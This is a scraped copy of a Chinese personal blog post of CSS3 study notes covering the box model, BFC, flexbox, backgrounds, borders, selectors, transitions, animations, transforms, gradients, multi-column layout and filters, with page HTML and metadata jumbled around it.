stretch：当项目没有设置高度或设置为auto时，将占满整个容器的高度\nalign-content\nflex-start：元素位于容器的开头 flex-end：元素位于容器的结尾 center：元素位于容器的中心 space-between：元素位于各行之间留有空白的容器内 space-around：元素位于各行之前、之间、之后都留有空白的容器内 stretch：默认值，元素被拉伸以适应容器\n单独用于元素的属性\norder 控制元素的顺序，数值越小排列就越靠前\norder:1\nflex-grow 控制元素的宽度\n如果都为1，还有剩余的空间，那么将会等分剩余的空间\n如果有一个为2，那么为2所占的剩余空间比为1的大1倍\nflex-grow: 2\nflex-shrink 控制元素宽度\n如果都为1时，当空间不足时，将会等比例缩小\n如果有一个为2时，那么当空间不足时\nflex-shrink: 2\nflex-basis 控制元素的初始宽度\n\\flex-basis: 100px flex 控制元素都有相同的宽度，不会被内容的长度撑开 \\flex: 1 align-self 控制元素单独对齐方式\nalign-self: auto | flex-start | flex-end | center | baseline | stretch;\n背景\n定位\n在box盒子内部的背景默认是在盒子的内边距的左上角对齐\nbackground-origin属性则规定background是相对于什么位置来定位的\n.box{\rwidth: 300px;\rheight: 300px;\rpadding: 10px;\rmargin: 10px;\rbackground: url(\"hallo.jpg\");\rbackground-origin: padding-box;\r}\rbackground-origin属性值有3个，padding-box：相对于内边距定位，border-box：相对于边框定位，content-box：相对于内容区域\n裁切\n.box{\rwidth: 300px;\rheight: 300px;\rpadding: 10px;\rmargin: 10px;\rbackground: url(\"hallo.jpg\");\rbackground-clip: padding-box;\r}\rbackground-clip属性提供相对于什么位置进行背景裁切，该属性值和background-origin一样\n背景尺寸\n.box{\rwidth: 300px;\rheight: 300px;\rpadding: 10px;\rmargin: 10px;\rbackground: url(\"hallo.jpg\");\rbackground-size: 100px 100px;\r}\rbackground-size属性可以直接指定大小，也是可以cover或者contain填充\ncover会按照原来的缩放比来填满整个盒子，而contain是按照原来缩放比，完整的填充盒子（不会填满）\n边框\n边框阴影\n.box{\rwidth: 300px;\rheight: 300px;\rborder: 1px solid red;\rbox-shadow: 0px 0px 6px #ccc;\rborder-radius: 6px;\r}\rbox-shadow，第一个值为阴影在水平方向的偏移量（正数为正方向，负数为反方向）\n第二个值为阴影在垂直方向的偏移量（正数为朝下，负数为朝上）\n第三个值为阴影的模糊度\n第四个值为阴影的颜色\nborder-radius为边框圆角\n边框图片\n.box{\rwidth: 300px;\rheight: 300px;\rborder: 1px solid red;\rborder-image-source: url(\"hallo.jpg\"); // 边框图片\rborder-image-slice: 10; // 边框图片向内的偏移量\rborder-image-repeat: round; // 边框图片的平铺方式\rborder-image-width: 10px; // 边框图片的宽度\r}\rborder-image-repeat有4个常用值\nstretch（默认值）：拉伸图形来填充\nrepeat：平铺（重复）图形来填充\nround：如果无法完整平铺，那么就进行缩放来适应\nspace：如果无法完整平铺，那么就进行扩展来适应\n文本阴影\ntext-shadow，有4个值，分别是水平方向的偏移量，垂直方向的偏移量，模糊度，阴影的颜色\n伪类选择器\n:first-child：选择父元素中的第一个子元素 :last-child：选择父元素中的最后一个子元素 :nth-child(n) ：选择父元素中正数第n个子元素 :nth-last-child(n) ：选择父元素中倒数第n个子元素\nn的值必须要大于等于0，也可以是表达式\n:target：选择被锚链接指向 ::selection：选择被鼠标选中\n例如：\n:target{\rbackground-color: #ccc;\r}\r\\跳转至1\n…\n1\n或者\np::selection:{\rbackground-color: #ccc;\r}\rxxx\n…\nxxx\n::first-line：选择第一行 ::first-letter：选择第一个字符\n例如：\ndiv{\rwidth: 100px;\rheight: 100px;\r}\rdiv::first-line{\rbackground-color: #ccc;\r}\rdiv::first-letter{\rbackground-color: #000;\r}\rsjdasfkdskbdsalkddsfjdslsakfbsdlss\rxxx\rtest\r过渡\n.box1 {\rwidth: 300px;\rheight: 300px;\rbackground-color: red;\rtransition-property: all; transition-duration: 3s;\r}\r.box1:hover {\rwidth: 500px;\rheight: 500px;\rbackground-color: #ccc;\r}\rtransition-property：表示哪些属性要参与到过渡动画效果，all表示全部\ntransition-duration：表示过渡执行时间\ntransition-delay: 设置过渡执行前等待的时间\ntransition-timing-function：过渡的速度类型，linear为相同速度，ease为开始慢速，变快，然后慢速结束，ease-in慢速开始，ease-out慢速结束，ease-in-out以慢速开始和结束，cubic-bezier开始到结束的不同速度过渡，用小数来表示进度，例如cubic-bezier(0.1, 0.3, 0.6, 0.1)\nCSS3 border-image\nborder-image可以在元素的边框上绘制图像，规范要求使用borde-images时边框样式必须存在\nborder-image: url(./logo.jpg) 10 repeat\n上面这行代表使用图片logo.jpg，裁剪位置10，使用重复方式\n图片：使用url()调用，路径可以是绝对或者相对，也可以不用图片，即none\n裁剪位置：默认单位为px，10表示10px，不需要写单位\n支持使用百分百，例如300px*100px的图片，30%就是裁剪图片90px*30px的四个边的大小 也可以使用4个数，代表上右下左要裁剪的数值\n重复方式只是其中一种方式，可以用于设置图像边界是否要重复或者拉伸，铺满\n重复（repeat)，拉伸（stretch）,平铺（round）\nstretch（拉伸）为默认值，所以会裁剪出来的图片比边框小，就会拉伸，以保证填满边框\n可以使用两个参数，当使用一个参数时，水平方向以及垂直方向都使用这个参数\n当使用两个参数时，第一个参数代表水平方向，第二个参数表示垂直方向\nborder-image还有4个子属性\n指定要用于绘制边框的图像的位置\nborder-image-source\n图像边界向内收缩\nborder-image-slice\n图像边界的宽度\n可以使用带单位的，百分百，不带单位的（倍数），auto\nborder-image-width\n指定在边框外部绘制 border-image-area 的量\n就是原本的位置向外拉伸\nborder-image-outset\n用于设置图像边界是否要重复或者拉伸，铺满\nborder-image-repeat\n引入css 内联css： // 要写在开始标签中\n嵌入css： div{color: #fff;}\n外部css: 优先级：内联 \u003e 嵌入 \u003e 外部\n选择器\n标签选择器：div{}\rid选择器：#main{} 类选择器：.main{} 子选择器：.main\u003ediv{}\r后代选择器：.main div{}\r通用选择器：*{}\r伪类选择器：a:{}\r分组选择器：div,span{}\rid选择器只能在文档中使用一次，类选择器可以使用多次\n选择器的优先级是: 内联 \u003e id \u003e 类 \u003e 标签 \u003e 通配符\n标签的权值为1\n类选择器的权值为10\nID选择器的权值为100\n伪类选择器是10\n权值越大，优先级就越大\n优先级最大的!important,例如：\ndiv{color:#fff!important;}\n样式\n字体font-family div{font-family:“Microsoft Yahei”;}\n字体大小font-size div{font-size:16px;}\n字体粗细font-weight div{font-weight:bold;}\n字体样式font-style div{font-style:normal;}\n字体颜色color div{color:#fff;}\n文本样式text-decoration div{text-decoration:none;}\n文本首行缩进text-indent div{text-indent:2em;}\n文本行间间距line-height div{line-height:2em;}\n增加或减少每一个文字的间距 letter-spacing div{letter-spacing:10px;}\n增加或减少每个英文单词之间的间距word-spacing div{word-spacing:10px;}\n文本对齐方式text-align div{text-align:center;}\n定位： 定位有两种，绝对定位和相当定位\n相对定位和绝对定位都有四个属性\nleft（左），top(头)，right（右），bottom（底）\n绝对定位：\n设置绝对定位的元素会脱离文档流，所以不会占用空间\ndiv{\rposition: absolute;\r}\r绝对定位的元素的位置相对于元素最近的已定位的祖先元素，如果没有，那么相对于最初的包含块（也就是body）\n相对定位：\n相对定位的元素的位置相对于元素最初的位置，使用相对定位时，元素会占据原来的空间，所以，移动元素会覆盖其他元素\ndiv{\rposition: relative;\r}\rcss有下面这些选择器\nid选择器（#myid） 类选择器（.myclassname） 标签选择器（div,h1,p） 后代选择器（h1p） 相邻后代选择器（子）选择器（ul\u003eli） 兄弟选择器（li~a） 相邻兄弟选择器（li+a） 属性选择器（a[rel=“external”]） 伪类选择器（a:hover,li:nth-child） 伪元素选择器（::before、::after） 通配符选择器（*）\n在css3中使用单冒号来表示伪类，用双冒号来表示伪元素\n伪类一般用于匹配元素的一些状态，而伪元素一般用于匹配元素的位置\nCSS3 圆角\n使用border-radius属性\n可以使用1——4个值\n1个值，表示四个角都使用这个值\n2个值，表示第一个值对应左上和右下，第二个值对应左下和右上\n3个值，表示第一个值对应左上，第二个值对应左下和右上，第三个值表示右下\n4个值，表示第一个值对应左上，第二个值对应右上，第三个值表示右下，第四个值表示左下\n单独设置圆角\n左上角 border-top-left-radius 右上角\tborder-top-right-radius\n右下角 border-bottom-right-radius 左下角 border-bottom-left-radius\ncss阴影\nbox-shadow: 10px 10px 10px #fff;\n第一个值是阴影水平位移，第二个值为阴影垂直位移，第三个值为模糊半径\n第四个值为阴影颜色\ntransition属性 例如: div{ width: 100px; height: 100px; background: #000; transition: width 1s; } div:hover{ background: #f6f6f6; }\nz-index属性\n该属性用于堆叠元素的顺序，高级的元素会堆叠在低级的元素前面，例如：\n#app{\rz-index: -1;\r}\rfont-family属性\n该属性用于设置元素字体，可以设置多个字体，当第一个字体不支持时，自动尝试设置下一个字体\n@keyframes 规则：这个规则是可以将样式以动画方式（特定时间）逐渐地从当前样式修改为新的样式，当超过特定时间又恢复原来的样式\n#app{\rwidth: 100px;\rheight: 100px;\rbackground-color: #000;\ranimation-name: test;\ranimation-duration: 6s;\ranimation-delay: 3s;\ranimation-iteration-count: infinite;\r}\r@keyframes test {\rfrom{\rbackground-color: #000;\r}\rto{\rbackground-color: #ccc;\r}\r}\rbackground-image\n该属性可以添加背景，可以添加多张背景，例如：\n#app{\rbackground-image: url(1.jpg),url(2.jpg);\rbackground-position: left top,right bottom;\rbackground-repeat: no-repeat,repeat;\r}\rbackground-size\n该属性可以指定背景的大小，例如： #app{ background-image: url(1.jpg); background-repeat: no-repeat; background-size: 100px 100px; }\nbackground-origin\n该属性可以指定背景的位置区域（外边框（border-box），内边框（padding-box），内容区（content-box）），例如：\nbackground-color: content-box;\rbackground-clip\n该属性可以将背景裁剪到指定位置（外边框（border-box），内边框（padding-box），内容区（content-box），例如：\nbackground-clip: content-box;\r渐变分为线性渐变（直线）和径向渐变（中心）\n线性渐变（默认从上到下）\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(#ccc,#000);\r}\r从左到右\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(to right ,#ccc,#000);\r}\r从左上角到右下角\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(to right bottom ,#ccc,#000);\r}\r带角度的（不能指定方向）\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(30deg,#ccc,#000);\r}\r带透明度的\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(30deg,rgb(255,0,0,1),rgb(0,0,0,0));\r}\r带重复的\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: repeating-linear-gradient(#ccc, #fcfcfc 20%, #000 30%);\r}\r径向渐变\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: radial-gradient(#fff, #ccc, #000,#fc0000);\r}\r必须要有两个以上的颜色，第一个颜色在中间，依次往外排\n同样可以设置每个颜色的占比\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: radial-gradient(#fff 10%, #ccc 20%, #000 30%,#fc0000 40%);\r}\r当元素是不正的，那么径向渐变默认就是椭圆的（ellipse），也可以指定为圆形的（circle）\n#app{\rwidth: 300px;\rheight: 250px;\rbackground-image: radial-gradient(circle,#fff, #ccc, #000,#fc0000);\r}\r还提供了定义渐变大小的关键字，分别是closest-side，farthest-side，closest-corner，farthest-corner\n当然也提供了可以重复渐变的，例如：\n#app{\rwidth: 300px;\rheight: 250px;\rbackground-image: repeating-radial-gradient(circle,#000 20%, #fc0000 30% , yellow 50%);\r}\r文本阴影\n#app{\rtext-shadow: 5px 5px 5px #000;\r}\r值分别为水平阴影，垂直阴影，模糊度，阴影颜色\n元素盒子阴影\n#app{\rbox-shadow: 5px 5px 5px #000;\r}\r容器文本溢出处理\n#app{\rtext-overflow: ellipsis;\r}\r文本溢出默认为text-overflow: clip\n自动强制文本换行（当单词或者某个文本太长，就会强制换行，避免文本溢出）\n#app{\rword-wrap: break-word;\r}\r@font-face 规则\n该规则允许使用客户端没有的字体，例如：\n@font-face {\rfont-family: hallo;\rsrc: url(\"hallo.ttf\");\r}\rdiv{\rfont-family: hallo;\r}\r必需属性font-family：字体名称\nsrc：字体文件的url\n在需要用字体的元素上font-family: 字体名称\n过渡动画，会逐渐式加载样式，例如\n#app{\rwidth: 100px;\rheight: 100px;\rbackground-color: #333;\rtransition: height 3s,width 3s,transform 3s;\r}\r#app:hover{\rwidth: 300px;\rheight: 300px;\rtransform: rotate(360deg);\r}\r当鼠标移动到该元素上，那么会在3秒内逐渐转换为指定样式，移开鼠标那么又会逐渐恢复原来的样式\ncolumn-count 属性，该属性可以将元素中的文本分成指定列，例如\n#app{\rcolumn-count: 3;\r}\r每个列之间的距离使用column-gap属性指定，例如\n#app{\rcolumn-count: 3;\rcolumn-gap: 20px;\r}\rcolumn-rule-style属性可以指定每个列分隔的边框样式，例如下面样式为实线\n#app{\rcolumn-count: 3;\rcolumn-gap: 20px;\rcolumn-rule-style: solid;\r}\rcolumn-rule-width属性可以指定列的边框之间的宽度，例如\n#app{\rcolumn-count: 3;\rcolumn-gap: 20px;\rcolumn-rule-style: solid;\rcolumn-rule-width: 1px;\r}\rcolumn-rule-color属性可以指定列的边框的颜色，例如：\n#app{\rcolumn-count: 3;\rcolumn-gap: 20px;\rcolumn-rule-style: solid;\rcolumn-rule-width: 6px;\rcolumn-rule-color: #000;\r}\r当然列的边框的样式可以缩写，例如：\n#app{\rcolumn-rule: 6px solid #000;\r}\r如果在父元素内，某个子元素不想被分列影响，直接指定子元素，例如\ndiv{\rcolumn-span: all;\r}\rcolumn-width可以指定列的宽度，例如\ndiv{\rcolumn-width: 300px;\r}\rcolumn-gap属性和column-width属性之间的区别，就是column-gap控制的是列与列之间的距离，而column-width控制的却是列本身的宽度\n动画，可以指定时间，在指定时间内逐渐成另一种样式，可以指定动画的过程的样式，例如\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\ranimation: hallo 5s;\r}\r@keyframes hallo{\r0% {background-color: #ccc;}\r25% {background-color: #fff;}\r50% {background-color: #222;}\r75% {background-color: #f3f3f3}\r100% {background-color: #777;}\r}\r0%为动画开始，100%为动画结束，当动画结束时样式会恢复原来定义的样式，除了用百分比表示进度，也可以用from（起点）和to（终点）表示\n能修改颜色，当然也能修改位置，例如：\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\ranimation: hallo 5s;\rposition: relative;\r}\r@keyframes hallo{\r0% {\rbackground-color: #ccc;\rtop: 0px;\rleft: 0px;\r}\r25% {\rbackground-color: #fff;\rtop: 0px;\rleft: 300px;\r}\r50% {\rbackground-color: #222;\rtop: 300px;\rleft: 300px;\r}\r75% {\rbackground-color: #f3f3f3;\rtop: 300px;\rleft: 0px;\r}\r100%{\rbackground-color: #777;\rtop: 0px;\rleft: 0px;\r}\r}\r二维改变样式\n旋转（值为正数则顺时针转，值为负数则逆时针转）\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color: #ccc;\rtransform: rotate(60deg);\r}\r平移(根据x（左），y（上）轴决定)\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color: #ccc;\rtransform: translate(100px,100px);\r}\r放大或者缩小\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color: #ccc;\rtransform: scale(2,2);\r}\r宽度和高度是原来的2倍\n倾斜(根据x（水平），y（垂直）轴决定，默认为0，值为负数则逆时针转)\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color: #ccc;\rtransform: skew(10deg,30deg);\r}\r同样也可以缩写为一个属性\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform:matrix(0.6,1.5,-0.5,1.2,3,3);\r}\r这个6个值分别代表旋转，放大或者缩小，平移，倾斜\n三维改变样式\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotateX(60deg);\r}\r#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotateY(60deg);\r}\r#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotateZ(60deg);\r}\r旋转元素的起始位置\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotate(60deg);\rtransform-origin: 30% 60%;\r}\r拓展\n#app{\rwidth: 500px;\rheight: 500px;\rperspective: 200;\rperspective-origin: 10% 20%;\rbackground-color: #000;\r}\r#app div{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotateX(60deg);\rtransform-style: preserve-3d;\rbackface-visibility: hidden;\r}\rbackface-visibility属性用于指定背面是否显示\nperspective-origin属性用于改变底部位置\nperspective属性用于查看透视图（z只支持3D元素）\ntransform-style属性用于是否保留3d位置保留\ncss强制换行，避免文本溢出容器\nwhite-space: pre-wrap;\rnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\nfilter属性滤镜\n该属性默认值为none\n背景为黑白\nfilter: grayscale(100%);\r高斯模糊\nfilter: blur(3px);\r亮度\nfilter: brightness(160%);\r对比度\nfilter: contrast(160%);\r透明度\nfilter: opacity(30%);\r饱和度\nfilter: saturate(300%);\r阴影\nfilter: drop-shadow(5px 5px 6px #ccc);\r色相旋转\nfilter: hue-rotate(30deg);\r颠倒输入\nfilter: invert(30%);\r允许使用多个滤镜，多个滤镜有空格分开\n表格布局（现在很少用，一般都是用div+css）\n该元素会作为块级表格（例如table标签，有换行） display: table;\n内联表格（没换行） display: inline-table;\n表格行（例如tr） display: table-row;\n表格单元格（例如td） display: table-cell;\n表格标题 display: table-caption;\n单元格列 display: table-column;\n","wordCount":"1128","inLanguage":"en","datePublished":"2021-06-16T09:21:00Z","dateModified":"2021-06-16T09:21:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/11/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>css3学习笔记</h1><div class=post-meta><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/css3%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>盒子模型</p><p>盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model</p><p>外边距（margin）：一般用于控制同辈元素之间的间距</p><p>边框（border）：在内边距和内容之外的边框</p><p>内边距（padding）：内边框是用于控制内容的距离</p><p>内容（content）：内容，一般为文本和图像</p><p>例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子</p><pre><code>div{
-    width: 100px;
-    borde: 10px solid red;
-    padding: 10px;
-    margin: 10px;
-}
+BFC的特性："><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"css3学习笔记","item":"https://chenjunlinabc.github.io/posts/11/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"css3学习笔记","name":"css3学习笔记","description":"盒子模型\n盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model\n外边距（margin）：一般用于控制同辈元素之间的间距\n边框（border）：在内边距和内容之外的边框\n内边距（padding）：内边框是用于控制内容的距离\n内容（content）：内容，一般为文本和图像\n例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子\ndiv{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右\n或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值\n有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下\n这个盒子大小应该是内容的宽度+内边距+边框+外边距\n100+20+20+20=160\n两种盒模型\nIE 盒子模型（box-sizing content-box）（怪异盒模型）\nIE盒模型的width与height是content、padding和border的总和\n调用IE盒模型 box-sizing: border-box;\nW3C标准盒模型（box-sizing content-box）\n标准盒模型的width与height只含content，不包括padding和border\n调用W3C标准盒模型 box-sizing: content-box;\n在IE6，7，8浏览器中不声明DOCTYPE类型，那么在IE6，7，8浏览器中会将盒子模型解释为IE盒子模型\n如果在页面中声明了DOCTYPE类型，那么所有的浏览器都会把盒模型解释为W3C盒模型\nJavaScript获取盒模型的宽和高（这里的DOM不是指整个dom，而是某个元素）\nDOM.style.width和DOM.style.height（只能获取内联样式）\nDOM.currentStyle.width和DOM.currentStyle.height（只支持IE）\nwindow.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height（兼容性好）\n获取元素相对于视窗的位置(top,right,bottom,left都可以获取)\nlet data = DOM.getBoundingClientRect() data.top\n有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素\n满足下面其中一个条件就触发BFC特性\nbody 根元素\n浮动元素 float除none外的值\n绝对定位元素 position (absolute、fixed)\ndisplay 为 inline-block、table-cells、flex\noverflow 除了 visible 以外的值 (hidden、auto、scroll)\nBFC的特性：","keywords":["css"],"articleBody":"盒子模型\n盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model\n外边距（margin）：一般用于控制同辈元素之间的间距\n边框（border）：在内边距和内容之外的边框\n内边距（padding）：内边框是用于控制内容的距离\n内容（content）：内容，一般为文本和图像\n例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子\ndiv{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右\n或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值\n有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下\n这个盒子大小应该是内容的宽度+内边距+边框+外边距\n100+20+20+20=160\n两种盒模型\nIE 盒子模型（box-sizing content-box）（怪异盒模型）\nIE盒模型的width与height是content、padding和border的总和\n调用IE盒模型 box-sizing: border-box;\nW3C标准盒模型（box-sizing content-box）\n标准盒模型的width与height只含content，不包括padding和border\n调用W3C标准盒模型 box-sizing: content-box;\n在IE6，7，8浏览器中不声明DOCTYPE类型，那么在IE6，7，8浏览器中会将盒子模型解释为IE盒子模型\n如果在页面中声明了DOCTYPE类型，那么所有的浏览器都会把盒模型解释为W3C盒模型\nJavaScript获取盒模型的宽和高（这里的DOM不是指整个dom，而是某个元素）\nDOM.style.width和DOM.style.height（只能获取内联样式）\nDOM.currentStyle.width和DOM.currentStyle.height（只支持IE）\nwindow.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height（兼容性好）\n获取元素相对于视窗的位置(top,right,bottom,left都可以获取)\nlet data = DOM.getBoundingClientRect() data.top\n有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素\n满足下面其中一个条件就触发BFC特性\nbody 根元素\n浮动元素 float除none外的值\n绝对定位元素 position (absolute、fixed)\ndisplay 为 inline-block、table-cells、flex\noverflow 除了 visible 以外的值 (hidden、auto、scroll)\nBFC的特性：\nBFC是页面上的独立容器，该容器使用类型浮动之类会影响布局的元素都不会影响到外界的布局或者元素\n例子：\n1.当处于同一个BFC容器时，外边距会进行重叠，为了避免重叠，可以将其放在不同的BFC容器内\n2.当容器内的元素使用的浮动，将其脱离了文档流，要触发容器的BFC，那么BFC容器要包含使用了浮动的元素\n3.当第一个元素使用了浮动，希望第二个元素不被浮动元素影响，要在第二个元素上触发BFC特性\nflex为Flexible Box 的缩写，意为\"弹性盒模型\"，为其盒模型提供足够大的灵活性\ndiv{ display: flex; } 使用flex布局的元素，被称为flex容器，该元素的所有子元素为该容器的成员，称为flex项目\nflex-direction\n一般用到四个值\nrow：在水平方向上，起点在左 row-reverse：在水平方向上，起点在右 column：在垂直方向上，起点在上。 column-reverse：在垂直方向上，起点在下。\nflex-wrap\n一般用到三个值\nnowrap：不换行 wrap：当容器宽度不足时换行，第一行在上方 wrap-reverse：当容器宽度不足时换行，第一行在下方\nflex-flow是flex-direction和flex-wrap简写版，它们两个的属性都可以使用 例如flex-flow: row-reverse wrap-reverse;\n表达了换行，第一行在下方，起点在右\njustify-content\n定义项目在主轴上的对齐方式\nflex-star：左对齐\nflex-end：右对齐\ncenter： 居中\nspace-between：两端对齐，每个项目之间的间隔都相等\nspace-around：每个项目两侧的间隔相等，所以项目之间的间隔比项目与边框的间隔大一倍\nalign-items\nflex-start：头部对齐 flex-end：底部对齐 center：居中对齐 baseline: 项目的第一行文字的基线对齐 stretch：当项目没有设置高度或设置为auto时，将占满整个容器的高度\nalign-content\nflex-start：元素位于容器的开头 flex-end：元素位于容器的结尾 center：元素位于容器的中心 space-between：元素位于各行之间留有空白的容器内 space-around：元素位于各行之前、之间、之后都留有空白的容器内 stretch：默认值，元素被拉伸以适应容器\n单独用于元素的属性\norder 控制元素的顺序，数值越小排列就越靠前\norder:1\nflex-grow 控制元素的宽度\n如果都为1，还有剩余的空间，那么将会等分剩余的空间\n如果有一个为2，那么为2所占的剩余空间比为1的大1倍\nflex-grow: 2\nflex-shrink 控制元素宽度\n如果都为1时，当空间不足时，将会等比例缩小\n如果有一个为2时，那么当空间不足时\nflex-shrink: 2\nflex-basis 控制元素的初始宽度\n\\flex-basis: 100px flex 控制元素都有相同的宽度，不会被内容的长度撑开 \\flex: 1 align-self 控制元素单独对齐方式\nalign-self: auto | flex-start | flex-end | center | baseline | stretch;\n背景\n定位\n在box盒子内部的背景默认是在盒子的内边距的左上角对齐\nbackground-origin属性则规定background是相对于什么位置来定位的\n.box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url(\"hallo.jpg\"); background-origin: padding-box; } background-origin属性值有3个，padding-box：相对于内边距定位，border-box：相对于边框定位，content-box：相对于内容区域\n裁切\n.box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url(\"hallo.jpg\"); background-clip: padding-box; } background-clip属性提供相对于什么位置进行背景裁切，该属性值和background-origin一样\n背景尺寸\n.box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url(\"hallo.jpg\"); background-size: 100px 100px; } background-size属性可以直接指定大小，也是可以cover或者contain填充\ncover会按照原来的缩放比来填满整个盒子，而contain是按照原来缩放比，完整的填充盒子（不会填满）\n边框\n边框阴影\n.box{ width: 300px; height: 300px; border: 1px solid red; box-shadow: 0px 0px 6px #ccc; border-radius: 6px; } box-shadow，第一个值为阴影在水平方向的偏移量（正数为正方向，负数为反方向）\n第二个值为阴影在垂直方向的偏移量（正数为朝下，负数为朝上）\n第三个值为阴影的模糊度\n第四个值为阴影的颜色\nborder-radius为边框圆角\n边框图片\n.box{ width: 300px; height: 300px; border: 1px solid red; border-image-source: url(\"hallo.jpg\"); // 边框图片 border-image-slice: 10; // 边框图片向内的偏移量 border-image-repeat: round; // 边框图片的平铺方式 border-image-width: 10px; // 边框图片的宽度 } border-image-repeat有4个常用值\nstretch（默认值）：拉伸图形来填充\nrepeat：平铺（重复）图形来填充\nround：如果无法完整平铺，那么就进行缩放来适应\nspace：如果无法完整平铺，那么就进行扩展来适应\n文本阴影\ntext-shadow，有4个值，分别是水平方向的偏移量，垂直方向的偏移量，模糊度，阴影的颜色\n伪类选择器\n:first-child：选择父元素中的第一个子元素 :last-child：选择父元素中的最后一个子元素 :nth-child(n) ：选择父元素中正数第n个子元素 :nth-last-child(n) 